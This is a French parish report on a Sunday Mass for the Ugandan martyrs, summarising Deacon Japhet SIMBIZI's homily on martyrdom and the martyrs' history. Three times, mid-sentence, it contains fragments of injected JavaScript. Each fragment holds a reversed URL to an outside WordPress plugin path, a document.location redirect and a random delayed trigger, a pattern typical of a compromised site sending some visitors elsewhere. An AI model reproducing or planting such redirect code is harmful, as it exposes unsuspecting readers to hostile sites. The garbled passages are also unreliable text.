La célébration eucharistique de dix heures de ce dimanche de la Solennité des martyrs de l’Ouganda Charles Lwanga et ses compagnons a été présidée par le Père Jean Bosco HABONIMANANA assisté du Diacre Japhet SIMBIZI. La chorale saint Martin a aidé pour ce qui est des chants liturgiques tout au long de cette sainte messe.
Les lectures du jour ont été respectivement tirées d’abord du livre des Maccabées (2M7, 1-2.9-14) pour la première lecture et le psaume responsorial était le 123, ensuite l’épitre aux Romains (Rm8, 31-39) pour la deuxième lecture et enfin, l’Évangile selon saint Jean (Jn12, 24-26).
L’Évangile a été proclamé par le Diacre Japhet SIMBIZI. Ledit Diacre a poursuivi avec l’homélie du jour. Il a commencé par un bref rappel de l’historique des martyrs de l’Ouganda. Il a dit que ces derniers forment un groupe de 22 martyrs catholiques et 23 anglicans, tués entre novembre 1885 et janvier 1887. Dans son enseignement, le Diacre SIMBIZI a montré aux fidèles la leçon morale qu’ils peuvent tirer de la première lecture qui parle du martyr des sept frères et de leur mère à cause du refus de transgresser la loi de leurs pères en mangeant la viande du porc interdite par la loi à cette époque et qu’ils devraient se demander : « Préservions-nous la culture et les coutumes de nos ancêtres ? » Même si cela peut comporter de diverses entraves, le Diacre a encouragé les fidèles à ne pas s’effrayer car on n’y parvient grâce à l’aide du Saint Esprit.
Concernant la deuxième lecture de saint Paul apôtre aux Romains, le Diacre SIMBIZI partant de ce verset : « Qui nous séparera de l’amour du Christ ? », a invité l’assemblée présente à s’introspecter pour voir si réellement dans leur vie quotidienne ils témoignent le Christ, si ils ne restent pas silencieux ou indifférents en face de leurs frères massacrés innocemment.
Dans l’Évangile de Jésus Christ selon saint Jean, le Diacre Japhet SIMBIZI, interprétant l’image toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnée par Jésus qui dit que si le grain de blé qui tombe en terre ne meurt pas, il reste seul ; mais si au contraire il meurt, il porte du fruit en abondance, il a eu recours au grain de maïs auquel tout le monde est habitué, disant que s’il ne meurt pas, le même cas se produirait.
Prêchant sur le même Évangile, le Diacre a dit que les martyrs d’Ouganda sont vraiment un modèle à incarner dans la vie quotidienne de tout chrétien car, puisqu’ils ont préféré le martyr plutôt que de nier le Christ, mémoire leur sera faite pour toujours, a annoncé le Diacre. Il y a une similarité entre ces martyrs d’Ouganda et le martyre des sept frères et leur mère racontés dans la première lecture. Mais alors, laquelle ? dit-il.
La ressemblance en est que les sept frères et leur mère étaient prêts à mourir plutôt que d’outrepasser la loi de leurs pères. Raison pour laquelle ils sont restés inébranlables devant la mort au lieu de chercher la tendresse royale injustement. La même situation s’est produite pour les martyrs d’Ouganda. Et pourtant, et les sept frères et les martyrs d’Ouganda elles étaient tous des personnes comme nous. Comprenons toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donc que le martyre et la sainteté sont possibles. A poursuivi le Diacre.
Il a également rappelé que le martyre n’est pas seulement verser son sang. Le martyre peut être vécu aussi en témoignant le Christ dans un milieu où l’on vit malgré les difficultés que cela peut provoquer. Ce qu’il a appelé théologiquement «le martyre blanc».
Mais alors, ces martyrs d’Ouganda pourquoi sont-ils morts ? s’est-il demandé.
Ici, le Diacre Japhet SIMBIZI a poursuivi avec l’historique un peu détaillée des martyrs d’Ouganda. En effet, en 1878 avec l’arrivée des missionnaires blancs en Ouganda, ils furent reçus par le roi du Baganda, MUTESA qui les autorisa, eux et leurs confrères à établir la mission catholique tout près du palais. Il a rappelé que dès avant l’arrivée des pères blancs, les anglicans étaient déjà présents dans la région. Les missionnaires blancs commencèrent leur travail d’évangélisation et il y avait même des nouveaux baptisés surtout que certains étaient surpris par le célibat des missionnaires se toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnant entièrement au Christ, a souligné le Diacre. Hélas! Ils ont été menacés plus tard car ils étaient contre la répression qui se faisait sur le bas peuple spécialement l’esclavage. Voilà ce qui déplaisait le roi et s’est rebellé contre eux. Ils ont dû quitter le pays en vue d’attendre les jours meilleurs.
Et d’ajouter que lorsque les missionnaires revinrent de leur exil en 1885, le nouveau roi MWANGA leur réserva un accueil chaleureux et enthousiaste. Mais malheureusement, lui aussi se mit à suspecter les européens tant catholiques qu’anglicans et tous ceux qui les accompagnaient. Le roi se mit aussi en colère contre tous ceux qui écoutaient les instructions religieuses et décida que tous ceux qui refuseraient de renier le christianisme perdraient leur vie. Alors, tous ceux qui déclaraient vouloir demeurer chrétiens furent condamnés à mort. Pendant le supplice, ils demeurèrent inébranlables dans leur foi et s’encouragèrent mutuellement, spécialement les jeunes comme KIZITO qui n’avait que 14 ans et baptisé la veille de son martyre.
Dans la même ligne, le Diacre prenant KIZITO comme un exemple typique a dit que la foi n’est pas une question d’âge car là où un vieillard ou une vieille de 80 ans n’a pas témoigné la vérité, un jeune de 14 ans peut le faire.
Pour clore son homélie, le Diacre Japhet SIMBIZI a invité les fidèles à prier pour la paix en Afrique en général, pour eux-mêmes et spécialement pour les gouvernants afin qu’ils gouvernent pour le bien de tout le monde. Car, dit-il, nous pourrions nous imaginer que le roi MUTESA et le roi MWANGA auraient regrettés de ce qu’ils avaient fait malgré l’impossibilité de les remettre. Le Diacre Japhet SIMBIZI n’a pas oublié aussi de réveiller la conscience de l’assemblée présente d’avoir toujours recours à l’intercession de Marie.